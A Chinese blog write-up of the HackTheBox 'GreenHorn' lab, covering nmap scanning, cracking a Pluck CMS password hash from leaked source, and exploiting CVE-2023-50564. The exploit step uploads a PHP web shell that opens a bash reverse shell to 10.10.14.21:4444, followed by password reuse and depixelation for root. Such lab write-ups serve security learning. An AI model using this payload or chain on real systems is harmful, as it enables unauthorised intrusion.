HTB-GreenHorn 靶机笔记

GreenHorn 靶机笔记

概述

GreenHorn 是 HTB 上的一个 linux easy 难度的靶机,主要是通过信息搜集和代码审计能不能找到对我们有用的信息。

靶机地址:https://app.hackthebox.com/machines/GreenHorn

一丶 nmap 扫描

1)端口扫描

-sT 以 TCP 全连接扫描,--min-rate 10000 以最低 10000 速率进行扫描,-p-进行全端口扫描,-o ports 结果输出到 ports 文件中

nmap -sT --min-rate 10000 -p- 10.10.11.25 -o ports

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-17 03:55 EDT
Stats: 0:00:13 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 32.56% done; ETC: 03:55 (0:00:27 remaining)
Warning: 10.10.11.25 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.25
Host is up (0.26s latency).
Not shown: 33635 closed tcp ports (conn-refused), 31897 filtered tcp ports (no-response)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 147.73 seconds

2)详细信息扫描

以-sT 以 tcp, -sV 探测版本, -sC 以默认脚本 扫描端口 $ports,-O 探测操作系统版本,输出到 details 文件中

nmap -sT -sV -sC -p22,80,3000 10.10.11.25 -o details 

Starting Nmap 7.93 ( https://nmap.org ) at 2024-08-17 04:04 EDT                                                                    
Nmap scan report for 10.10.11.25             
Host is up (0.43s latency).                                     
PORT     STATE SERVICE VERSION               
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)                 
| ssh-hostkey:
|   256 57d6928a7244841729eb5cc9636afefd (ECDSA)           
|_  256 40ea17b1b6c53f4256674a3cee75232f (ED25519)        
80/tcp   open  http    nginx 1.18.0 (Ubuntu)               
|_http-server-header: nginx/1.18.0 (Ubuntu)           
|_http-title: Did not follow redirect to http://greenhorn.htb/                 
3000/tcp open  ppp?             
| fingerprint-strings:                 
|   GenericLines, Help, RTSPRequest:     
|     HTTP/1.1 400 Bad Request            
|     Content-Type: text/plain; charset=utf-8        
|     Connection: close                            
|     Request                
|   GetRequest:                          
|     HTTP/1.0 200 OK                                   
|     Cache-Control: max-age=0, private, must-revalidate, no-transform       
|     Content-Type: text/html; charset=utf-8           
|     Set-Cookie: i_like_gitea=ee70815cf933490f; Path=/; HttpOnly; SameSite=Lax          
|     Set-Cookie: _csrf=cxvY7yNHIOWsTQ38C0zH-zadPw46MTcyMzg4MTg4ODM0MTc3MjUyOA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax      
|     X-Frame-Options: SAMEORIGIN                   
|     Date: Sat, 17 Aug 2024 08:04:48 GMT                               
|     <!DOCTYPE html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.28 seconds

3)默认漏洞脚本扫描

nmap --script=vuln 10.10.11.25 -o vuln     

Nmap scan report for 10.10.11.25
Host is up (1.8s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
3000/tcp open  ppp
8000/tcp open  http-alt

详细信息扫描看到 http-title: Did not follow redirect to http://greenhorn.htb/ 要去 /etc/hosts 文件绑定域名和 ip

10.10.11.25     greenhorn.htb

image-20240817161543747

写进去就可以访问 web 页面了

二、web 渗透

1)80 端口

访问

http://greenhorn.htb
image-20240817162117378

看到是一个 pluck 的 cms,admin 也是可以点击的。点击进去

image-20240817162226884

需要密码,也给出了 pluck 的版本是 4.7.18

google 搜索大法找到:Pluck 安全漏洞(CVE-2023-50564)

好了,我们现在知道等了进去就可以利用文件上传反弹 shell 了 但我们要怎么登陆呢,没有密码啊

2)3000 端口

image-20240817163107217

我们可以注册,登陆进去看看

image-20240817163305038

发现网站源码,看看有没有什么密码的信息,我们要进入 pluck 的后台才有机会获得立足点

通过审计

login.php 看到校验

image-20240817164538094

image-20240817164901133

pass.php 中发现 ww 变量

刚才也看到了他是 sha512 hash 算法加密的,我们复制出来用 hashcat 破解

  • -a 设定密码破解模式
  • -m 设定加密类型
hashcat -a 0 -m 1700 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' /usr/share/wordlists/rockyou.txt 
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1

看到密码

iloveyou1

登陆 80 端口的后台服务

image-20240817170341065

三、获得立足点

在 options 里我们选择 mange modules 里的 install a module

image-20240817170200025

我们需要去找一个 php 的 zip 压缩包

准备一句话木马

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.21/4444 0>&1' "); ?>
zip rev.zip rev.php 

上传

image-20240922132444988

本地监听端口

sudo rlwrap nc -lvp 4444

image-20240922132951179

看到成功获得立足点

四、提权到 root

我们获得了 www-data 的权限,去机器的家目录下看看有哪些用户

www-data@greenhorn:/home$ ls
git
junior

看到 gitjunior 用户,现用之前获得的密码 iloveyou1 碰撞一下这两个用户的 ssh

image-20240922135320803

成功拿到 junior 的 shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
junior@greenhorn:/var/www/html/pluck$

image-20240922135706740

看到 Using OpenVAS.pdf 文件

开启一个 python 的 http 协议

junior@greenhorn:~$ python3 -m http.server
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

kali 中执行

wget http://greenhorn.htb:8000/'Using OpenVAS.pdf' 

image-20240922140134183

下载成功,重命名

mv 'Using OpenVAS.pdf' greenhorn.pdf
image-20240922140336940

打开 pdf,看到密码被打上了马赛克,分析内容,这个密码应该就是提取 root 的关键

sudo apt-get install poppler-utils
pdfimages greenhorn.pdf ./root

用到 depix: https://github.com/spipm/Depix 修复像素

python depix.py -p ../root-000.ppm -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o ../root_pass.png

image-20240922142609310

可以看到密码

sudo ssh root@greenhorn.htb

成功获得root权限

image-20240922143523935

总结

  • 通过nmap扫描发现目标开启了22,80,3000端口,在3000端口的版本控制平台注册账户,看到了目标系统的源码,从而拿到了80端口http服务的凭证
  • 通过利用Pluck 安全漏洞(CVE-2023-50564)成功拿到www-data的shell。
  • 利用相同的口令凭证获得了用户junior的权限,在家目录下看到了一个pdf文件,进行像素修复,拿到了root权限
posted @ 2024-09-22 14:48  Ling-X5  阅读(49)  评论(0编辑  收藏  举报